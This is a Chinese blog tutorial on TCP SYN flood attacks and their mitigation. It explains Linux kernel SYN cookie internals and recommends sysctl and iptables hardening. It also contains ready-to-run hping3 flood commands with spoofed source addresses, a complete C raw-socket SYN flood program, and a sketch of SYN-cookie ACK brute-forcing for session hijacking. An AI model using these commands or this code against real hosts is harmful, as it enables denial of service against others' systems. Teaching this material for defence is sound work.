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  • TCP SYN flood洪水攻击原理和防御破解

    简介

    TCP协议要经过三次握手才能建立连接:

    于是出现了对于握手过程进行的攻击。攻击者发送大量的SYN包,服务器回应(SYN+ACK)包,但是攻击者不回应ACK包,这样的话,服务器不知道(SYN+ACK)是否发送成功,默认情况下会重试5次(tcp_syn_retries)。这样的话,对于服务器的内存,带宽都有很大的消耗。攻击者如果处于公网,可以伪造IP的话,对于服务器就很难根据IP来判断攻击者,给防护带来很大的困难。

    攻击者角度

    从攻击者的角度来看,有两个地方可以提高服务器防御的难度的:

    变换端口
    伪造IP
     

    变换端口很容易做到,攻击者可以使用任意端口。

    攻击者如果是只有内网IP,是没办法伪造IP的,因为伪造的SYN包会被路由抛弃。攻击者如果是有公网IP,则有可能伪造IP,发出SYN包。(TODO,待更多验证)

    hping3
    hping3是一个很有名的网络安全工具,使用它可以很容易构造各种协议包。

    用下面的命令可以很容易就发起SYN攻击: 

    sudo hping3 --flood -S -p 9999 x.x.x.x
    #random source address
    sudo hping3 --flood -S --rand-source -p 9999 x.x.x.x
     

    --flood 是不间断发包的意思

    -S         是SYN包的意思

    更多的选项,可以man hping3 查看文档,有详细的说明。

    如果是条件允许,可以伪造IP地址的话,可以用--rand-source参数来伪造。

    我在实际测试的过程中,可以伪造IP,也可以发送出去,但是服务器没有回应,从本地路由器的统计数据可以看出是路由器把包给丢弃掉了。

    我用两个美国的主机来测试,使用

    sudo hping3 --flood -S  -p 9999  x.x.x.x

    发现,实际上攻击效果有限,只有网络使用上涨了,服务器的cpu,内存使用都没有什么变化:

    为什么会这样呢?下面再解析。

    防御者角度


    当可能遇到SYN flood攻击时,syslog,/var/log/syslog里可能会出现下面的日志:

    kernel: [3649830.269068] TCP: Possible SYN flooding on port 9999. Sending cookies. Check SNMP counters.
    这个也有可能是SNMP协议误报,下面再解析。

    从防御者的角度来看,主要有以下的措施:

    内核参数的调优
    防火墙禁止掉部分IP

    linux内核参数调优主要有下面三个:

    限制SYN并发数量、超时时间

    增大tcp_max_syn_backlog
    减小tcp_synack_retries
    启用tcp_syncookies

    tcp_max_syn_backlog

    从字面上就可以推断出是什么意思。在内核里有个队列用来存放还没有确认ACK的客户端请求,当等待的请求数大于tcp_max_syn_backlog时,后面的会被丢弃。

    所以,适当增大这个值,可以在压力大的时候提高握手的成功率。手册里推荐大于1024。

    tcp_synack_retries

    这个是三次握手中,服务器回应ACK给客户端里,重试的次数。默认是5。显然攻击者是不会完成整个三次握手的,因此服务器在发出的ACK包在没有回应的情况下,会重试发送。当发送者是伪造IP时,服务器的ACK回应自然是无效的。

    为了防止服务器做这种无用功,可以把tcp_synack_retries设置为0或者1。因为对于正常的客户端,如果它接收不到服务器回应的ACK包,它会再次发送SYN包,客户端还是能正常连接的,只是可能在某些情况下建立连接的速度变慢了一点。

    tcp_syncookies

    根据man tcp手册,tcp_syncookies是这样解析的:

           tcp_syncookies (Boolean; since Linux 2.2)
                  Enable TCP syncookies.  The kernel must be compiled with CONFIG_SYN_COOKIES.  Send out syncookies  when  the
                  syn  backlog  queue  of  a socket overflows.  The syncookies feature attempts to protect a socket from a SYN
                  flood attack.  This should be used as a last resort, if at all.  This is a violation of  the  TCP  protocol,
                  and conflicts with other areas of TCP such as TCP extensions.  It can cause problems for clients and relays.
                  It is not recommended as a tuning mechanism for heavily loaded servers to help with overloaded or misconfig‐
                  ured   conditions.    For   recommended   alternatives   see  tcp_max_syn_backlog,  tcp_synack_retries,  and
                  tcp_abort_on_overflow.

    当半连接的请求数量超过了tcp_max_syn_backlog时,内核就会启用SYN cookie机制,不再把半连接请求放到队列里,而是用SYN cookie来检验。

    手册上只给出了模糊的说明,具体的实现没有提到。

    linux下SYN cookie的实现
    查看了linux的代码(https://github.com/torvalds/linux/blob/master/net/ipv4/syncookies.c )后,发现linux的实现并不是像wiki上

    SYN cookie是非常巧妙地利用了TCP规范来绕过了TCP连接建立过程的验证过程,从而让服务器的负载可以大大降低。

    在三次握手中,当服务器回应(SYN + ACK)包后,客户端要回应一个n + 1的ACK到服务器。其中n是服务器自己指定的。当启用tcp_syncookies时,backlog满了后,linux内核生成一个特定的n值,而不并把客户的连接放到半连接的队列backlog里(即没有存储任何关于这个连接的信息,不浪费内存)。当客户端提交第三次握手的ACK包时,linux内核取出n值,进行校验,如果通过,则认为这个是一个合法的连接。

    n即ISN(initial sequence number),是一个无符号的32位整数,那么linux内核是如何把信息记录到这有限的32位里,并完成校验的?

    首先,TCP连接建立时,双方要协商好MSS(Maximum segment size),服务器要把客户端在ACK包里发过来的MSS值记录下来。

    另外,因为服务器没有记录ACK包的任何信息,实际上是绕过了正常的TCP握手的过程,服务器只能靠客户端的第三次握手发过来的ACK包来验证,所以必须要有一个可靠的校验算法,防止攻击者伪造ACK,劫持会话。

    linux是这样实现的:

    1. 在服务器上有一个60秒的计时器,即每隔60秒,count加一;

    2. MSS是这样子保存起来的,用一个硬编码的数组,保存起一些MSS值:

    static __u16 const msstab[] = {
    536,
    1300,
    1440,    /* 1440, 1452: PPPoE */
    1460,
    };
     
    
     
    
    //比较客户发过来的mms,取一个比客户发过来的值还要小的mms。算法很简单:
    
     
    
    /*
    * Generate a syncookie. mssp points to the mss, which is returned
    * rounded down to the value encoded in the cookie.
    */
    u32 __cookie_v4_init_sequence(const struct iphdr *iph, const struct tcphdr *th,
    u16 *mssp)
    {
    int mssind;
    const __u16 mss = *mssp;
    
    for (mssind = ARRAY_SIZE(msstab) - 1; mssind ; mssind--)
    if (mss >= msstab[mssind])
    break;
    *mssp = msstab[mssind];
    
    return secure_tcp_syn_cookie(iph->saddr, iph->daddr,
    th->source, th->dest, ntohl(th->seq),
    mssind);
    }

    比较客户发过来的mms,取一个比客户发过来的值还要小的mms。

    真正的算法在这个函数里:

    static __u32 secure_tcp_syn_cookie(__be32 saddr, __be32 daddr, __be16 sport,
    __be16 dport, __u32 sseq, __u32 data)
    {
    /*
    * Compute the secure sequence number.
    * The output should be:
    * HASH(sec1,saddr,sport,daddr,dport,sec1) + sseq + (count * 2^24)
    * + (HASH(sec2,saddr,sport,daddr,dport,count,sec2) % 2^24).
    * Where sseq is their sequence number and count increases every
    * minute by 1.
    * As an extra hack, we add a small "data" value that encodes the
    * MSS into the second hash value.
    */
    u32 count = tcp_cookie_time();
    return (cookie_hash(saddr, daddr, sport, dport, 0, 0) +
    sseq + (count << COOKIEBITS) +
    ((cookie_hash(saddr, daddr, sport, dport, count, 1) + data)
    & COOKIEMASK));
    }
      

    data实际上是mss的值对应的数组下标,count是每一分钟会加1,sseq是客户端发过来的sequence。

    这样经过hash和一些加法,得到了一个ISN值,其中里记录了这个连接合适的MSS值。

    当接收到客户端发过来的第三次握手的ACK包时,反向检查即可:

    /*
    * Check if a ack sequence number is a valid syncookie.
    * Return the decoded mss if it is, or 0 if not.
    */
    int __cookie_v4_check(const struct iphdr *iph, const struct tcphdr *th,
    u32 cookie)
    {
    __u32 seq = ntohl(th->seq) - 1;
    __u32 mssind = check_tcp_syn_cookie(cookie, iph->saddr, iph->daddr,
    th->source, th->dest, seq);


    return mssind < ARRAY_SIZE(msstab) ? msstab[mssind] : 0;
    }

    先得到原来的seq,再调用check_tcp_syn_cookie函数:

    /*
    * This retrieves the small "data" value from the syncookie.
    * If the syncookie is bad, the data returned will be out of
    * range. This must be checked by the caller.
    *
    * The count value used to generate the cookie must be less than
    * MAX_SYNCOOKIE_AGE minutes in the past.
    * The return value (__u32)-1 if this test fails.
    */
    static __u32 check_tcp_syn_cookie(__u32 cookie, __be32 saddr, __be32 daddr,
    __be16 sport, __be16 dport, __u32 sseq)
    {
    u32 diff, count = tcp_cookie_time();
    
    
    /* Strip away the layers from the cookie */
    cookie -= cookie_hash(saddr, daddr, sport, dport, 0, 0) + sseq;
    
    
    /* Cookie is now reduced to (count * 2^24) ^ (hash % 2^24) */
    diff = (count - (cookie >> COOKIEBITS)) & ((__u32) -1 >> COOKIEBITS);
    if (diff >= MAX_SYNCOOKIE_AGE)
    return (__u32)-1;
    
    
    return (cookie -
    cookie_hash(saddr, daddr, sport, dport, count - diff, 1))
    & COOKIEMASK;	/* Leaving the data behind */
    }
    

      

    先减去之前的一些值,第一个hash和sseq。然后计算现在的count(每60秒加1的计数器)和之前的发给客户端,然后客户端返回过来的count的差:
    如果大于MAX_SYNCOOKIE_AGE,即2,即2分钟。则说明已经超时了。
    否则,计算得出之前放进去的mss。这样内核就认为这个是一个合法的TCP连接,并且得到了一个合适的mss值,这样就建立起了一个合法的TCP连接。
    可以看到SYN cookie机制十分巧妙地不用任何存储,以略消耗CPU实现了对第三次握手的校验。

    但是有得必有失,ISN里只存储了MSS值,因此,其它的TCP Option都不会生效,这就是为什么SNMP协议会误报的原因了。

    更强大的攻击者
    SYN cookie虽然十分巧妙,但是也给攻击者带了新的攻击思路。

    因为SYN cookie机制不是正常的TCP三次握手。因此攻击者可以构造一个第三次握手的ACK包,从而劫持会话。

    攻击者的思路很简单,通过暴力发送大量的伪造的第三次握手的ACK包,因为ISN只有32位,攻击者只要发送全部的ISN数据ACK包,总会有一个可以通过服务器端的校验。

    有的人就会问了,即使攻击者成功通过了服务器的检验,它还是没有办法和服务器正常通讯啊,因为服务器回应的包都不会发给攻击者。

    刚开始时,我也有这个疑问,但是TCP允许在第三次握手的ACK包里带上后面请求的数据,这样可以加快数据的传输。所以,比如一个http服务器,攻击者可以通过在第三次握手的ACK包里带上http get/post请求,从而完成攻击。

    所以对于服务器而言,不能只是依靠IP来校验合法的请求,还要通过其它的一些方法来加强校验。比如CSRF等。

    值得提醒的是即使是正常的TCP三次握手过程,攻击者还是可以进行会话劫持的,只是概率比SYN cookie的情况下要小很多。

    详细的攻击说明:http://www.91ri.org/7075.html

    一个用raw socket SYN flood攻击的代码
    下面给出一个tcp syn flood的攻击的代码: 

    #pragma pack(1)
    struct pseudo_header //needed for checksum calculation
    {
    unsigned int source_address;
    unsigned int dest_address;
    unsigned char placeholder;
    unsigned char protocol;
    unsigned short tcp_length;
    
    struct tcphdr tcp;
    };
    #pragma pack()
    
    unsigned short csum(unsigned short *ptr, int nbytes) {
    long sum;
    unsigned short oddbyte;
    short answer;
    
    sum = 0;
    while (nbytes > 1) {
    sum += *ptr++;
    nbytes -= 2;
    }
    if (nbytes == 1) {
    oddbyte = 0;
    *((u_char*) &oddbyte) = *(u_char*) ptr;
    sum += oddbyte;
    }
    
    sum = (sum >> 16) + (sum & 0xffff);
    sum = sum + (sum >> 16);
    answer = (short) ~sum;
    
    return (answer);
    }
    
    void oneSyn(int socketfd, in_addr_t source, u_int16_t sourcePort,
    in_addr_t destination, u_int16_t destinationPort) {
    static char sendBuf[sizeof(iphdr) + sizeof(tcphdr)] = { 0 };
    bzero(sendBuf, sizeof(sendBuf));
    
    struct iphdr* ipHeader = (iphdr*) sendBuf;
    struct tcphdr *tcph = (tcphdr*) (sendBuf + sizeof(iphdr));
    
    ipHeader->version = 4;
    ipHeader->ihl = 5;
    
    ipHeader->tos = 0;
    ipHeader->tot_len = htons(sizeof(sendBuf));
    
    ipHeader->id = htons(1);
    ipHeader->frag_off = 0;
    ipHeader->ttl = 254;
    ipHeader->protocol = IPPROTO_TCP;
    ipHeader->check = 0;
    ipHeader->saddr = source;
    ipHeader->daddr = destination;
    
    ipHeader->check = csum((unsigned short*) ipHeader, ipHeader->ihl * 2);
    
    //TCP Header
    tcph->source = htons(sourcePort);
    tcph->dest = htons(destinationPort);
    tcph->seq = 0;
    tcph->ack_seq = 0;
    tcph->doff = 5; //sizeof(tcphdr)/4
    tcph->fin = 0;
    tcph->syn = 1;
    tcph->rst = 0;
    tcph->psh = 0;
    tcph->ack = 0;
    tcph->urg = 0;
    tcph->window = htons(512);
    tcph->check = 0;
    tcph->urg_ptr = 0;
    
    //tcp header checksum
    struct pseudo_header pseudoHeader;
    pseudoHeader.source_address = source;
    pseudoHeader.dest_address = destination;
    pseudoHeader.placeholder = 0;
    pseudoHeader.protocol = IPPROTO_TCP;
    pseudoHeader.tcp_length = htons(sizeof(tcphdr));
    memcpy(&pseudoHeader.tcp, tcph, sizeof(struct tcphdr));
    
    tcph->check = csum((unsigned short*) &pseudoHeader, sizeof(pseudo_header));
    
    struct sockaddr_in sin;
    sin.sin_family = AF_INET;
    sin.sin_port = htons(sourcePort);
    sin.sin_addr.s_addr = destination;
    
    ssize_t sentLen = sendto(socketfd, sendBuf, sizeof(sendBuf), 0,
    (struct sockaddr *) &sin, sizeof(sin));
    if (sentLen == -1) {
    perror("sent error");
    }
    }
    
    int main(void) {
    //for setsockopt
    int optval = 1;
    
    //create a raw socket
    int socketfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
    if (socketfd == -1) {
    perror("create socket:");
    exit(0);
    }
    if (setsockopt(socketfd, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval))
    < 0) {
    perror("create socket:");
    exit(0);
    }
    
    in_addr_t source = inet_addr("192.168.1.100");
    in_addr_t destination = inet_addr("192.168.1.101");
    u_int16_t sourcePort = 1;
    u_int16_t destinationPort = 9999;
    while (1) {
    oneSyn(socketfd, source, sourcePort++, destination,
    destinationPort);
    sourcePort %= 65535;
    sleep(1);
    }
    
    return 0;
    }

    总结:

    对于SYN flood攻击,调整下面三个参数就可以防范绝大部分的攻击了。

    方式1:减少SYN-ACK数据包的重发次数(默认是5次):
    sysctl -w net.ipv4.tcp_synack_retries=3
    sysctl -w net.ipv4.tcp_syn_retries=3
    方式2:使用SYN Cookie技术:
    sysctl -w net.ipv4.tcp_syncookies=1
    方式3:增加backlog队列(默认是1024):
    sysctl -w net.ipv4.tcp_max_syn_backlog=2048
    方式4:限制SYN并发数:
    iptables -A INPUT -p tcp --syn -m limit --limit 1/s -j ACCEPT --limit 1/s


    貌似现在的内核默认都是开启tcp_syncookies的。

    其他:使用DDoS deflate脚本自动屏蔽攻击ip 

    参考:


    http://www.redhat.com/archives/rhl-devel-list/2005-January/msg00447.html

    man tcp

    http://nixcraft.com/showthread.php/16864-Linux-Howto-test-and-stop-syn-flood-attacks

    http://en.wikipedia.org/wiki/SYN_cookies

    https://github.com/torvalds/linux/blob/master/net/ipv4/syncookies.c

    http://www.91ri.org/7075.html

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